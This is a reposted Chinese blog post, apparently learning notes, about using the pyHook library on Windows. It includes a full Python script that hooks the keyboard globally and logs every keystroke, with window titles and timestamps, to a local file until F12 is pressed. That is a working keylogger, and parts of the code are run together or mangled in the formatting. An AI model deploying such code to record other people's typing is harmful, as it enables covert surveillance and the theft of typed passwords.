pyhooks實現鍵盤監控學習心得

opecode 9年前發布 | 6K 次閱讀 Java Python

pyhooks

下載:http://sourceforge.net/projects/pyhook/files/pyhook/1.5.1/

API手冊:http://pyhook.sourceforge.net/doc_1.5.0/

        以上網站上提供了個使用的例子,另外安裝pyhooks后,也會有一個例子的文件。于是拿來學習了一下,第一次運行時,提示沒有pythoncom模塊, 就安裝了pywin32,安裝后,可以正常運行,但是會導致機器發卡,特別是中斷程序運行后,鼠標會出現一段時間的自由晃動,找了半天原因,感覺主要是事 件頻率過高,程序會經常卡在pythoncom.PumpMessages()。

        網上搜索了半天,看到有一帖子說是pythoncom.PumpMessages(n),n表示延遲時間,于是試著改了下,發現有一定效果,但不明顯,后 來想是不是因為沒有終止程序,才會導致一直很卡呢,于是添加終止程序語句win32api.PostQuitMessage()。結果還算滿意。

# -- coding: cp936 --
import pythoncom
import pyHook
import time import win32api t='' asciistr='' keystr='' def onKeyboardEvent(event):
global t,asciistr,keystr filename='d://test.txt' wrfile=open(filename,'ab') "處理鍵盤事件" if t==str(event.WindowName): asciistr=asciistr+chr(event.Ascii) keystr=keystr+str(event.Key)

else:
    t=str(event.WindowName)
    if asciistr=='' and keystr=='':
        wrfile.writelines("\nWindow:%s\n" % str(event.Window))
        wrfile.writelines("WindowName:%s\n" % str(event.WindowName)) #寫入當前窗體名
        wrfile.writelines("MessageName:%s\n" % str(event.MessageName))
        wrfile.writelines("Message:%d\n" % event.Message)
        wrfile.writelines("Time:%s\n" % time.strftime('%Y-%m-%d %H:%M:%S',time.localtime()))
    else:
        wrfile.writelines("Ascii_char:%s\n" %asciistr)
        wrfile.writelines("Key_char:%s\n" %keystr)
        wrfile.writelines("\nWindow:%s\n" % str(event.Window))
        wrfile.writelines("WindowName:%s\n" % str(event.WindowName)) #寫入當前窗體名
        wrfile.writelines("Time:%s\n" % time.strftime('%Y-%m-%d %H:%M:%S',time.localtime()))

    asciistr=chr(event.Ascii)
    keystr=str(event.Key)
if str(event.Key)=='F12':  #按下F12后終止
    wrfile.writelines("Ascii_char:%s\n" %asciistr)
    wrfile.writelines("Key_char:%s\n" %keystr)
    wrfile.close()    
    win32api.PostQuitMessage()

return True



if name == "main": ''' 小五義:http://www.cnblogs.com/xiaowuyi '''

#創建hook句柄  
hm = pyHook.HookManager()  

#監控鍵盤  
hm.KeyDown = onKeyboardEvent  
hm.HookKeyboard()  

#循環獲取消息  
pythoncom.PumpMessages(10000)  
  </pre> 


轉自:http://www.cnblogs.com/xiaowuyi/archive/2012/03/15/2398665.html

 本文由用戶 opecode 自行上傳分享,僅供網友學習交流。所有權歸原作者,若您的權利被侵害,請聯系管理員。
 轉載本站原創文章,請注明出處,并保留原始鏈接、圖片水印。
 本站是一個以用戶分享為主的開源技術平臺,歡迎各類分享!